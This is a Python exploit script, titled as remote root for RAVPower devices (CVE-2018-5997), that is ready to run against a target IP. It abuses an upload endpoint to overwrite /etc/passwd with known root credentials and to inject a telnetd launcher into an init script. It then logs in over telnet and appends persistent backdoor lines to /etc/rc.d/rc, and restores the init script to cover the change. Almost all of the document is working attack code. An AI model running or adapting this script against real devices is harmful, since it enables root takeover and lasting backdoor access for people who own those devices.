""" # Exploit Title: RAVPower - remote root # Date: 23/01/2018 # Exploit Authors: Daniele Linguaglossa # Vendor Homepage: https://www.ravpower.com/ # Software Link: https://www.ravpower.com/ # Version: 2.000.056 # Tested on: OSX # CVE : CVE-2018-5997 """ import requests import time import telnetlib PATH_PASSWD = "/etc" FILE_PASSWD = "passwd" PATH_VSTFUNC = "/etc/init.d" FILE_VSTFUNC = "vstfunc" FILE_RC = "/etc/rc.d/rc" BACKDOOR_TERM = "export TERM=xterm" BACKDOOR_TELNET = "/usr/sbin/telnetd &" BASH_SHEBANG = "#!/bin/sh" TELNETD = "/usr/sbin/telnetd -p 1111 &" def upload(host, port, path, name, content): user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0" path = "/upload.csp?uploadpath=%s&file=1515865637281" % path url ="http://{0}:{1}{2}".format(host,port,path) files = {'file' : ('%s' % name, content,'application/octet-stream')} headers = { "user-agent": user_agent } try: requests.post(url,headers=headers,files=files) return True except: return False # root:admin tmp_passwd = """root:$1$YBm5LfCo$5OEwLPLUu085z5EoDpQz7/:0:0:root:/data/UsbDisk1/Volume1:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15:0:admin:/data/UsbDisk1/Volume1:/bin/sh mail:*:8:8:mail:/var/mail:/bin/sh nobody:x:65534:65534:Nobody:/data/UsbDisk1/Volume1:/bin/sh guest:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:512:0:guest:/data/UsbDisk1/Volume1/Share:/bin/sh-new """ tmp_vstfunc = """ export PATH=/bin:/sbin:/usr/bin:/usr/sbin # A function to stop a program. killproc() { local base=${1##*/} local pid= pid=`pidof $base` local i if [ -n "$pid" ]; then for i in $pid ; do kill -KILL $i > /dev/null 2>&1 done fi rm -f /var/run/$base.pid return 0 } # A function to find the pid of a program. pidofproc() { local base=${1##*/} #First try "/var/run/*.pid" files if [ -f "/var/run/$base.pid" ]; then local line p pid= read line < /var/run/$base.pid for p in $line ; do [ -z "$p" -a -d "/proc/$p" ] && pid="$pid $p" done else pid=`pidof $1 || pidof $base` fi if [ -n "$pid" ]; then echo $pid return 0 fi return 1 } # Check if $pid (could be plural) are running # Return : 0 run # 1 stop checkpid() { local i for i in $* ; do if [ -d "/proc/$i" ]; then return 0 fi done return 1 } # Check disk exist checkdisk() { return $? } # save pid and log function savesc() { local i=0 if [ -n "$3" ]; then touch /var/run/$3.pid fi return $? } # A function check start of a program. # return: 1 not exist # 0 exist checkonly() { local prgname=${1##*/} local pid= if [ -f "/var/run/$prgname.pid" ]; then pid=`pidof $prgname` if [ -n "$pid" ]; then return 0 fi return 1 else pid=`pidof $prgname` if [ -n "$pid" ]; then if sleep 1 && checkpid $pid && sleep 1 && checkpid $pid && sleep 2 && checkpid $pid ; then return 2 fi fi return 2 fi } # A function save etc to mtd. # return: 1 failure # 0 success saveetc() { local ret=0 /usr/sbin/etc_tools t > /dev/null 2>&1 let ret=ret+$? # ret=$[$ret + $?] /usr/sbin/etc_tools p > /dev/null 2>&1 let ret=ret+$? # ret=$[$ret + $?] return $ret } # A function resume mtd to etc. # return: 1 failure # 0 success resumeetc() { local ret=0 /usr/sbin/etc_tools b > /dev/null 2>&1 let ret=ret+$? # ret=$[$ret + $?] /usr/sbin/etc_tools u > /dev/null 2>&1 let ret=ret+$? # ret=$[$ret + $?] return $ret } # Create a lock for /var/lock AppScriptLock() { if [ -f /var/lock/$1.pid ]; then return 0 else touch /var/lock/$1.pid return 1 fi } # Check a lock for /var/lock AppScriptChkLock() { if [ -f /var/lock/$1.pid ]; then return 1 else return 0 fi } # Delete a lock for /var/lock AppScriptUnlock() { if [ -f /var/lock/$1.pid ]; then rm -rf /var/lock/$1.pid fi return 1 } DISKPATH="/data/UsbDisk1/Volume1/.vst/upgrade" ETCPATH="/boot/tmp" ETCBKPATH="/boot/tmp/etcbackup" DISKETCFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etc.tar" DIDKETCBKFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etcbackup.tar.gz" ETCFILE="/boot/tmp/etc.tar" ETCBKFILETAR="/boot/tmp/etcbackup.tar" ETCBKFILE="/boot/tmp/etcbackup.tar.gz" FILELIST="hostname passwd shadow samba/smbpasswd fileserv/lighttpd.user dropbox baidu" FILELIST1="hostname" backup_etc() { rm $ETCBKFILETAR -rf rm $ETCBKFILE -rf rm $ETCBKPATH -rf # if [ ! -e $DISKPATH ];then # mkdir -p -m 755 $DISKPATH # fi if [ ! -e $ETCBKPATH ]; then mkdir -p -m 755 $ETCBKPATH fi if [ -z $1 ]; then FILELISTALL=$FILELIST else if [ $1 == "resume" ]; then FILELISTALL=$FILELIST1 fi fi for f in $FILELISTALL do if [ -d /etc/$f ]; then cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1 else if [ "$f" == "samba/smbpasswd" ]; then if [ ! -e $ETCBKPATH/samba ]; then mkdir -p $ETCBKPATH/samba fi cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1 elif [ "$f" == "fileserv/lighttpd.user" ]; then if [ ! -e $ETCBKPATH/fileserv ]; then mkdir -p $ETCBKPATH/fileserv fi cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1 elif [ "$f" == "serversman/cloud.conf" ]; then if [ ! -f /etc/$f ]; then continue fi if [ ! -e $ETCBKPATH/serversman ]; then mkdir -p $ETCBKPATH/serversman fi cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1 else cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1 fi fi done tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1 gzip $ETCBKFILETAR if [ -f $ETCBKFILE ]; then cp -rf $ETCBKFILE $DIDKETCBKFILE fi } backup_etc_telnet() { rm $ETCBKFILETAR -rf rm $ETCBKFILE -rf rm $ETCBKPATH -rf # if [ ! -e $DISKPATH ];then # mkdir -p -m 755 $DISKPATH # fi if [ ! -e $ETCBKPATH ]; then mkdir -p -m 755 $ETCBKPATH fi if [ -z $1 ]; then FILELISTALL=$FILELIST else if [ $1 == "resume" ]; then FILELISTALL=$FILELIST1 fi fi touch $ETCBKPATH/telnetflag tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1 gzip $ETCBKFILETAR if [ -f $ETCBKFILE ]; then cp -rf $ETCBKFILE $DIDKETCBKFILE fi } restore_etc() { if [ -f $ETCBKFILE ]; then gunzip $ETCBKFILE tar xvf $ETCBKFILETAR -C / > /dev/null 2>&1 for f in $FILELIST do if [ -d /etc/$f ]; then echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc #cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 cp -rf $ETCBKPATH/$f /etc > /dev/null 2>&1 else if [ "$f" == "samba/smbpasswd" ]; then echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 elif [ "$f" == "fileserv/lighttpd.user" ]; then echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 elif [ "$f" == "serversman/cloud.conf" ]; then if [ ! -f $ETCBKPATH/$f ]; then continue fi echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 else echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 fi fi done if [ -f $ETCBKPATH/telnetflag ]; then touch /etc/telnetflag fi fi } # A function check usb flag # return: 0 service start # 1 service stop check_usb_flag() { local ret=0 if [ -e "/proc/usbwrite" ];then ret=`cat /proc/usbwrite` fi return $ret } ########################################################################### # # LED operations # ########################################################################### led_wink_start() { LED=`cat /proc/vsled` if [ $LED -eq 3 ]; then pioctl wifi 2 fi } led_wink_stop() { LED=`cat /proc/vsled` if [ $LED -eq 2 ]; then pioctl wifi 3 fi } led_wink_chk() { LED=`cat /proc/vsled` if [ $LED -eq 2 ]; then return 1 else return 0 fi } ########################################################################### # # Flag operation # ########################################################################### flagctl_get() { if [ -e /dev/sda ]; then trynum=0 while [ $trynum -lt 3 ]; do retval=`/usr/sbin/flagctl disk get $1` if [ ! -z $retval ]; then return $retval fi let trynum=trynum+1 # trynum=$[$trynum+1] sleep 1 done fi } flagctl_set() { if [ -e /dev/sda ]; then trynum=0 while [ $trynum -lt 3 ]; do /usr/sbin/flagctl disk set $1 $2 flagctl_get $1 if [ "$?" -eq "$2" ]; then sync return 1 fi let trynum=trynum+1 # trynum=$[$trynum+1] sleep 1 done fi return 0 } ########################################################################### # # string function # ########################################################################### str_func_strstr () { if [ ${#2} -eq 0 ];then echo "$1" return 0 fi case "$1" in *$2*) return 1 ;; *) return 0 ;; esac } dev_test_host() { nordev=`echo $1 | cut -c -3` s_str=`ls -l /sys/block/$nordev/device` str_func_strstr "$s_str" "host0" if [ $? -eq 1 ]; then return 1 fi return 0; } dev_test_usb() { nordev=`echo $1 | cut -c -3` s_str=`ls -l /sys/block/$nordev/device` str_func_strstr "$s_str" "usb" if [ $? -eq 1 ]; then return 1 fi return 0; } ########################################################################### # # Permission check functions # ########################################################################### # $1: device name # $2: host/usb # $3: if recursive, 1: enable, 0: disable perm_change_start() { permpid=`ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2` if [ ! -z $permpid ]; then return 1; else /usr/sbin/permchange $1 $2 $3 & fi } # $1: device name # $2: if recursive, 1: enable, 0: disable perm_chk_start() { dev_test_host $1 if [ $? -eq 1 ]; then perm_change_start $1 host $2 else perm_change_start $1 usb $2 fi } perm_chk_stop() { permpid=`ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2` if [ ! -z $permpid ]; then for ppid in $permpid ; do kill -9 $ppid > /dev/null 2>&1 done fi } ########################################################################### # Time function ########################################################################### timedate_settosys() { if [ -e /etc/timedate ]; then TIMESET=`cat /etc/timedate` date -s $TIMESET fi } timedate_save() { date '+%Y.%m.%d-%H:%M:%S' > /etc/timedate } """ print "RAVPower Remote root (0day) - By dzonerzy & r3dx0f\n\n" host = raw_input("Insert Ravpower IP: ") print "[*] Step 1 -> pwning /etc/passwd" if not upload(host, 80,PATH_PASSWD,FILE_PASSWD,tmp_passwd): print "[-] Filed to pwn /etc/passwd maybe fixed?" exit(0) print "[*] Step 2 -> pwning /etc/init.d/vstfunc" if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+TELNETD+"\n"+tmp_vstfunc): print "[-] Filed to pwn /etc/init.d/vstfunc maybe fixed?" exit(0) t = None print "[*] Step 3 -> Try to remove or insert SD Card or just wait for something happen (something must happen!)" while True: try: print "[*] Step 3-1 -> Trying to telnet..." t = telnetlib.Telnet(host, port=1111) break except: time.sleep(5) t.read_until(": ") t.write("root\n") t.read_until(": ") t.write("admin\n") t.read_until("# ") print "[*] Step 4 -> pwning /etc/rc.d/rc" t.write("echo '%s' >> %s\n" % (BACKDOOR_TERM, FILE_RC)) t.read_until("# ") t.write("echo '%s' >> %s\n" % (BACKDOOR_TELNET, FILE_RC)) t.read_until("# ") print "[*] Step 4-1 -> pwned!" print "[*] Step 5 -> Saving settings" t.write("/usr/sbin/etc_tools p\n") t.read_until("# ") print "[*] Step 5-1 -> Done!" print "[*] Step 6 -> Starting telnetd" t.write("/usr/sbin/telnetd &\n") t.read_until("# ") print "[*] Step 6-1 -> Done!" print "[*] Step 7 -> Killing old telnet" t.write("ps aux |grep 1111 | awk '{print $2}' | xargs kill -9\n") t.read_until("# ") print "[*] Step 7-1 -> Done!" print "[*] Step 8 -> Restoring vstfunc" if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+tmp_vstfunc): print "[-] Filed to pwn /etc/init.d/vstfunc fixed?" exit(0) print "[*] Step 8-1 -> Done!" print "[!] PWNAGE COMPLETED! connect with root:admin"